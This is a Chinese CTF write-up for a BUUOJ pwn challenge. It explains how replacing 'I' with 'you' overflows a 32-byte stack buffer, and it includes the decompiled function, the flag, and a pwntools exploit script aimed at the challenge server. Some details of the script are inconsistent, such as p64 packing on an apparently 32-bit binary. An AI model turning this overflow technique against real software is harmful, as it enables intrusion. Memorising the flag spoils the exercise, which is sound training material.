CTF-PWN
来源:https://buuoj.cn/challenges
内容:
附件:https://pan.baidu.com/s/1bSrSQZYWkBIWCXP5Lsq7sg?pwd=mpgo 提取码:mpgo
答案:flag{714a8f91-7e24-440c-8cc6-1f2d26adbcec}
总体思路
发现get_flag的位置
发现输入会被替换,构造exp
详细步骤
-
查看文件信息
-
查看题目发现是将用户输入的
I
替换为you
,虽然输入的时候只允许输入32位,但是因为替换会导致1位变3位,从而可以造成溢出-
int vuln() { const char *v0; // eax char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF char v4[7]; // [esp+40h] [ebp-18h] BYREF char v5; // [esp+47h] [ebp-11h] BYREF char v6[7]; // [esp+48h] [ebp-10h] BYREF char v7[5]; // [esp+4Fh] [ebp-9h] BYREF printf("Tell me something about yourself: "); fgets(s, 32, edata); std::string::operator=(&input, s); std::allocator<char>::allocator(&v5); std::string::string(v4, "you", &v5); std::allocator<char>::allocator(v7); std::string::string(v6, "I", v7); replace((std::string *)v3); std::string::operator=(&input, v3, v6, v4); std::string::~string(v3); std::string::~string(v6); std::allocator<char>::~allocator(v7); std::string::~string(v4); std::allocator<char>::~allocator(&v5); v0 = (const char *)std::string::c_str((std::string *)&input); strcpy(s, v0); return printf("So, %s\n", s); }
-
operator=
是等号操作符的重载符,可以理解为:std::string::operator=(&input, s); // &input = s; std::string::operator=(&input, v3, v6, v4); // &input = v3(v6,v4);
-
-
看到从
s
(input
)到返回地址的栈长度是60+4 -
通过pwntool的
e.symbols['get_flag']
获取函数的地址 -
故exp为
-
import struct import sys import pwn import os enable_use_randoms = True def use_randoms(length: int, char: chr = None): if not enable_use_randoms or char: if not char: char = 'a' return char * length return pwn.randoms(length, pwn.string.ascii_letters) def start_process(target: str): os.system(f'chmod 777 {target}') p = pwn.process(target) return p target: str = './target' e = pwn.ELF(target) get_flag = e.symbols['get_flag'] addr_system = get_flag # pwn.context.terminal = ['term','splitw','-b'] # p = start_process(target) p = pwn.remote('node4.buuoj.cn', 29641) padding_rbp = use_randoms(44) junk_r = use_randoms(0) v_addr_system = pwn.p64(addr_system) padding_char_replace = use_randoms(20, 'I') # 将会被程序替换为3个字符 padding_char_left = use_randoms(4, 'a') padding_rbp = padding_char_replace + padding_char_left payload = (padding_rbp+junk_r).encode('ascii') + v_addr_system print(payload) # print(p.recvuntil('>')) p.sendline(payload) # p.sendline('ls') p.interactive()
-
参考文档
- C 运算符重载
- 常用工具
- 教程
- 2019 北航 CTF Pwn入门培训课程(一)
- 基础的rop使用方法
- 2019 北航 CTF Pwn入门培训课程(二)
- 为什么main的返回地址被替换为
system_addr
后 a=system_ret ;b=param_1
- 为什么main的返回地址被替换为
- 2019 北航 CTF Pwn入门培训课程(三)
- 待解析
- 2019 北航 CTF Pwn入门培训课程(四)
- 待解析
- 2019 北航 CTF Pwn入门培训课程(一)